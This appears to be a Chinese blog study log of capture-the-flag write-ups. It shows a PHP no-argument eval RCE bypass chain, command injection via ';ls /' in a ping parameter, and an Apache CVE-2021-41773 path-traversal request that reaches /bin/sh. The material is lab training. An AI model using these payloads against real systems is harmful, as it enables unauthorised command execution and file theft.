4月9日学习记录

[GXYCTF 2019]禁止套娃

涉及知识点:git泄露,无参数RCE

打开环境,源码什么的都没有,扫描后台看看

扫描发现存在git泄露

用githack下载查看得到一串源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

又看见了';',很明显的无参数绕过了,但是还是不考虑getallheaders,因为不清楚环境条件,所以一般不使用,还是选择利用php函数来绕过;

php的伪协议被过滤了,还有一些数学函数也被过滤了,就老实利用php函数来绕过了

    localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
    pos() – 返回数组中的当前单元, 默认取第一个值
    next – 将内部指针指向数组下一个元素并输出
    scandir() – 扫描目录
    array_reverse() – 翻转数组
    array_flip() - 键名与数组值对调
    readfile()
    array_rand() - 随机读取键名
    var_dump() - 输出数组,可以用print_r替代
    file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
    get_defined_vars() -  返回由所有已定义变量所组成的数组
    end() - 读取数组最后一个元素
    current() - 读取数组的第一个元

参数是exp,开始传参

exp=var_dump(localeconv());

返回当前单元,也就是"."下的内容

exp=var_dump(pos(localeconv()));

扫描目录下内容,看见flag.php了,快了

exp=var_dump(scandir(pos(localeconv())));

因为flag.php位置是倒数第二个,所以采取翻转数组,在改变内置指针的指向来读取flag

exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));

读取flag.php,这里用的是show_source命令

exp=var_dump(show_source(next(array_reverse(scandir(pos(localeconv()))))));

[SWPUCTF 2023 秋季新生赛]Pingpingping

源码 

需要传入Ping_ip.exe的参数,但是在网页传参以后,"_"会被替换成".",所以用[替换后能正常传参(Ping[ip.exe=127.0.0.1” 是一个Ping命令,用于测试与目标IP地址的网络连接。在这种情况下,目标IP地址是本地回环地址(127.0.0.1),表示测试本机的网络连接。

ping-c3,给了三个ping回显工具,那么到这里后面进正常进行命令执行

Ping[ip.exe=127.0.0.1;ls /

看见flag了,cat就行

[NSSRound#4 SWPU]ez_rce

CVE-2021-41773(Apache HTTP Server路径穿越漏洞)

 同时如果Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。
条件:
配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹;而且/icons/必需是一个可以访问的文件夹
利用 :
抓包构造post传参,传入.%2e/的形式,来绕过对于路径穿越符的检测,在cgi-bin服务器上执行命令执行查看目录
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

打开环境,什么都没有,标签说是CVE泄露,在Apache环境下存在CVE-2021-41773

所以通过抓包,修改传参来绕过

查看flag,但是这里会发现直接查看flag_is_here没有回显,一个一个尝试,在run.sh里面发现线索,有些wp说根据经验知道有个四层文件夹迷宫,然后去爆破四层迷宫,这里查看run.sh也是一样的

看见真正的位置了

相关推荐

  1. 99算法学习(队列)

    2024-04-10 12:28:02       64 阅读
  2. 96算法学习(栈)

    2024-04-10 12:28:02       60 阅读
  3. 97算法学习笔记(栈)

    2024-04-10 12:28:02       56 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-10 12:28:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-10 12:28:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-10 12:28:02       82 阅读
  4. Python语言-面向对象

    2024-04-10 12:28:02       91 阅读

热门阅读

  1. leetcode2529-正整数和负整数的最大计数

    2024-04-10 12:28:02       30 阅读
  2. Vue文档

    Vue文档

    2024-04-10 12:28:02      26 阅读
  3. LeetCode 15.三数之和

    2024-04-10 12:28:02       34 阅读
  4. 【Livox激光MID-360】调试记录

    2024-04-10 12:28:02       40 阅读
  5. 深入剖析OR与UNION的区别及应用场景

    2024-04-10 12:28:02       38 阅读
  6. python实现pdf的页面替换

    2024-04-10 12:28:02       31 阅读
  7. 【SQL】mysql数据库常见函数功能、适用场景

    2024-04-10 12:28:02       35 阅读
  8. swagger记录

    2024-04-10 12:28:02       39 阅读